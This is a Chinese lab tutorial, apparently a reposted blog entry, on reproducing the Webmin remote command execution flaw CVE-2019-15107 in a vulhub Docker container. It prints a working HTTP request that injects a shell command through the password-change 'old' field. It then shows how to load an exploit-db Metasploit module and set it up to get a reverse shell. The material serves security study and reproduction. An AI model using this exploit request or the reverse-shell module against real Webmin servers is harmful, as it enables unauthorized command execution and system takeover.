前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Webmin远程命令执行漏洞(CVE-2019-15107)搭建及多种利用姿势-保姆级教程

Webmin远程命令执行漏洞(CVE-2019-15107)搭建及多种利用姿势-保姆级教程

作者头像
C4rpeDime
发布2022-04-26 14:21:33
1.9K0
发布2022-04-26 14:21:33
举报
文章被收录于专栏:黑白安全

Webmin远程命令执行漏洞/CVE-2019-15107漏洞分析及poc网上都有很多了,先知论坛也有。可能网上有些文章有些细节没说清楚,给我等复现造成了困惑。本菜也只是结合chybeta、exploit-db等多个渠道整理了一下利用姿势,特点就是过程中的细节都会说清楚,给同样小白的各位同学参考。本次实验是在kali进行,使用vulhub镜像。一、启动从vu

Webmin远程命令执行漏洞/CVE-2019-15107漏洞分析及poc网上都有很多了,先知论坛也有。可能网上有些文章有些细节没说清楚,给我等复现造成了困惑。本菜也只是结合chybeta、Exploit-db等多个渠道整理了一下利用姿势,特点就是过程中的细节都会说清楚,给同样小白的各位同学参考。 本次实验是在kali进行,使用vulhub镜像。 一、启动从vulhub拉取的镜像

代码语言:javascript
复制
docker-compose up -d
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第1张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第1张

docker ps可以看到映射的是10000端口,注意看这里的容器名字

代码语言:javascript
复制
docker ps
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第2张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第2张

如果没有docker环境的话,后面附录一有在kali上安装docker的教程 二、访问本机IP 10000端口

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第3张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第3张

根据网上公开的poc可知,漏洞利用url是修改密码功能password_change.cgi,且需要开启密码修改功能(1.890默认开启此功能),vulhub的镜像已经开启密码修改功能(如何开启密码修改功能请看后面附录二)。 三、不知道默认登录密码,进入容器中修改root密码为root 重新打开一个shell窗口,进入容器后不要着急退出,后面还会用到

代码语言:javascript
复制
docker exec -it cve-2019-15107_web_1 /bin/bash

进入/usr/share/webmin修改密码

代码语言:javascript
复制
./changepass.pl /etc/webmin root root
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第4张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第4张

四、浏览器里打开password_change.cgi,发现提示外部url,并且给出修改提示。

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第5张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第5张

按照提示修改 在docker里按照提示修改docker容器里的/etc/webmin/config文件

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第6张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第6张

很多同学包括我,习惯使用vim进行修改,但docker容器里并没有vim命令,怎么办呢,还是看后面附录三有教程安装 五、使用网上的poc怼,看到成功执行命令 poc如下

代码语言:javascript
复制
POST /password_change.cgi HTTP/1.1
Host: 192.168.1.146:10000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: redirect=1; testing=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

user=123&pam=&expired=2&old=test|id&new1=test2&new2=test2
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第7张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第7张

截图中user处需要注意,需提交一个不存在的用户,否则触发不了后面的id命令; 参考chybeta大佬文章,发现不用old处不用填写旧密码,只写命令也可执行命令

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第8张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第8张

六、exploit-db上的模块 链接:https://www.exploit-db.com/exploits/47230 exploit-db上有一个新的rce 模块,从作者描述上可以看到,webmin的1.890到1.920有漏洞是因为有人在SourceForge上的webmin插入了perl qx语句。 这里也提到了1.890默认配置是有漏洞的,之后的版本需要开启密码修改功能

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第9张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第9张

下载ruby格式的poc

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第10张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第10张

改名字,放到/usr/share/Metasploit-framework/modules/exploits/unix/webapp/目录下 我这里改成webmin_unauthenticated_rce.rb

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第11张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第11张

名字颜色和其他不一样是因为有可执行权限,这里暂时不管它 msf执行reload_all,重新载入模块

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第12张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第12张

上面看到重载模块出错,是因为刚才没改名字,名字改好后就可以重载成功了 search webmin,可以看到多了一个模块,名字就是刚才我们改的名字

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第13张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第13张

使用这个模块,options查看设置选项

代码语言:javascript
复制
use exploit/unix/webapp/webmin_unauthenticated_rce

可以看到exploit默认使用了reverse_python这个payload,从刚才的exploit-db页面上也可以确认这点 接下来设置攻击目标和本地主机,及ssl(注意webmin默认是ssl,最上面的链接也能看出来)

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第14张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第14张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第15张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第15张

执行攻击

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第16张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第16张

成功返回shell,并且可以执行命令 截图里的192.168.80.2,是webmin docker的地址,那怎么看容器的ip地址及其他详细信息呢 首先使用docker ps查看正在运行的容器,确定要查看容器的名字,上面有提到过一次这条命令

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第17张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第17张

使用docker inspect cve-2019-15107_web_1(就是上面看到的容器名)可以看到容器详细信息

代码语言:javascript
复制
docker inspect cve-2019-15107_web_1
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第18张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第18张

这里我们只关系IP,其他暂时不考虑

七、使用metasploit集成exploit 还是search webmin

代码语言:javascript
复制
search webmin
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第19张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第19张

和上面的一样的设置,rhosts、lhost、ssl,和上面一样的执行效果

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第20张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第20张

附录一: 上面说到需要开启修改密码功能才能利用漏洞,那么如果开启这个功能呢? 使用刚才改的密码(root/root)登录成功后,进入Webmin Configuration

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第21张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第21张

在password expiry policy那里选择Prompt users with expired passwords to enter a new one,允许用户使用过期密码登录并修改一个新密码

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第22张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第22张

等待webmin重启,配置生效。查看docker容器里的/etc/webmin/miniserv.con,可以发现passwd_mode的值已经从0变为了2

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第23张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第23张

查看/usr/share/webmin/password_change.cgi,可以发现红框部分会对miniserv.conf中的password_mode值判断,为2时才enable

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第24张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第24张

附录二: kali安装docker

代码语言:javascript
复制
apt install docker docker-compose
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第25张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第25张

注意1:有些linux发行版,docker-compose工具是使用pip安装的pip install docker-compose,这里只说明kali下的安装 注意:2:如果安装太慢,则需要更改kali源为国内源,这里就不说了,百度一大把,但要注意的是搜索kali rolling国内源,有些文章还是kali 1.0、kali 2.0的源

附录三: 容器里安装vim,很简单 先进入容器查看发行版,确定使用yum还是apt安装工具

代码语言:javascript
复制
cat /etc/os-release
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第26张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第26张

可以看到使用的debian8的操作系统,接下来apt安装

代码语言:javascript
复制
apt install vim

但你会发现网速很慢,只有几十KB每秒,为什么呢,因为默认用的国外源,这下本质上改kali源一样了,改成国内的源。 修改docker容器里的源

代码语言:javascript
复制
vim /etc/apt/sources.list

但我们还没安装vim呀,这不互相矛盾么,变成先有鸡还是先有蛋的问题,别急,使用echo的方式写入sources.list

代码语言:javascript
复制
echo "deb http://mirrors.ustc.edu.cn/debian stable main contrib non-free" > /etc/apt/sources.listecho "deb-src http://mirrors.ustc.edu.cn/debian stable main contrib non-free" >> /etc/apt/sources.list

第一条命令是把echo的命令写入到sources.list文件,sources.list原先的内容清空; 第二条命令是">>",追加的意思,不删除原有内容,这样两条语句都写入到sources.list了。 然后apt update更新源信息

代码语言:javascript
复制
apt update

这样就快了很多

Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全  第27张
Webmin远程命令执行漏洞(CVE 2019 15107)搭建及多种利用姿势 保姆级教程 漏洞利用 漏洞复现 web安全 安全文摘 黑白网 WEB安全 第27张

上面附录2说的修改kali的源就是这样修改的,只不过源不一样 更新完源之后,就可以安装vim了

代码语言:javascript
复制
apt install vim

安装完vim后,可以愉快修改docker容器里的/etc/webmin/config文件了

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-10-06),如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档